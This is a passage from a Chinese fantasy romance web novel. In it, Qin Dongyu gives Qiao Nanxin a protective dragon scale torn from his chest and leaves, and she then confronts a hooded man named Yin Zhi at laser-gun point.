秦冬予不纠结这事,反正他现在吃上肉了。 乔南芯腮帮子微微鼓着,眼中无笑意,别过脸不看他。 她的视线中突然出现一个熟悉的人影快速掠过。 秦冬予拉着她:“不逛了,回去休息。” “要休息你就先回去。”乔南芯甩开他的手,还在想刚刚经过的人到底是谁。 秦冬予嗤笑一声,懒散的眼神睨着她,指尖轻轻地捏着她的脸,嘴角噙着痞笑:“你不在我一个人怎么休息?” 乔南芯被冒犯得不轻。 她还是更喜欢秦冬予桀骜不驯好像有被害妄想症的时候。 在她和秦冬予争论回不回去休息时,他银蓝色的竖瞳乍现。 乔南芯问:“怎么了?” 她在和他相处的这段时间也发现,只要秦冬予处于兴奋或者警惕状态,他就会展露出银蓝色的兽瞳。 秦冬予没说话,手却伸进衣服里,眉头紧皱,神情极为痛苦。 “你怎么了?”乔南芯焦急地扒开他的衣领,看到他从心脏位置拔下一片泛着幽蓝色的龙鳞。 他额头冒出细汗,把拔下来的龙鳞融进她的掌心,交代道:“我先离开一会,这片龙鳞有我的力量,能保护你。” “你有病啊,遇到危险我可以躲,你干嘛伤害自己?” 乔南芯又担心又责怪他。 她又不是傻子。 就算躲不了,她不是还买了很多武器可以自保吗? 秦冬予摸摸她的脑袋,一脸严肃地离开。 乔南芯看着他渐远的背影,不禁担心起他,到底是什么事情让他这么焦急。 肩头突然被人一碰,乔南芯警惕地转过身拉开距离。 一身黑袍的神秘人出现在她面前。 神秘人摘掉帷帽,露出真面容。 “尹知?你怎么在这?” 乔南芯从空间中拿出一把激光枪对准他,她现在和秦冬予在一起,尹知对于她来说就是敌人。 尹知动也没动,声音温和:“我们可以坐下来聊一聊吗?”